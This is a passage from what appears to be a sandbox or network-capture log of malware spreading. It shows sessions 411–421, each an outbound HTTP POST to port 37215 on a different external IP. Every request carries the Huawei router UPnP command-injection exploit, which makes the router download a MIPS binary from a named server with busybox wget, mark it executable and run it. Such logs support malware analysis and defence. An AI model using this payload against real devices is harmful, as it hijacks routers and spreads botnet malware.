3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
411	192.168.2.23	45138	156.193.29.187	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261368036 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
412	192.168.2.23	41992	41.57.81.216	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261421919 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
413	192.168.2.23	42000	41.32.165.26	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261460066 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
414	192.168.2.23	37822	156.121.41.185	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261518002 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
415	192.168.2.23	60606	41.150.123.75	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261573076 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
416	192.168.2.23	57692	41.237.153.229	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261655092 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
417	192.168.2.23	59268	197.115.193.139	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261703968 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
418	192.168.2.23	49726	156.207.173.145	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261749983 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
419	192.168.2.23	52352	41.12.1.243	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261790991 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
420	192.168.2.23	59374	197.244.184.156	37215

Timestamp	Bytes transferred	Direction	Data
Jun 1, 2024 18:15:55.261842012 CEST	880	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 34 2e 31 35 36 2e 36 34 2e 32 32 31 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 74 33 74 33 74 33 74 33 74 33 74 33 74 33 74 33 70 64 65 66 61 75 6c 74 2f 74 34 70 30 6e 74 30 37 2e 6d 69 70 73 3b 20 2f 62 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 94.156.64.221 -l /tmp/.unstable -r /t3t3t3t3t3t3t3t3pdefault/t4p0nt07.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
421	192.168.2.23	47172	156.112.193.48	37215

Timestamp	Bytes transferred	Direction	Data
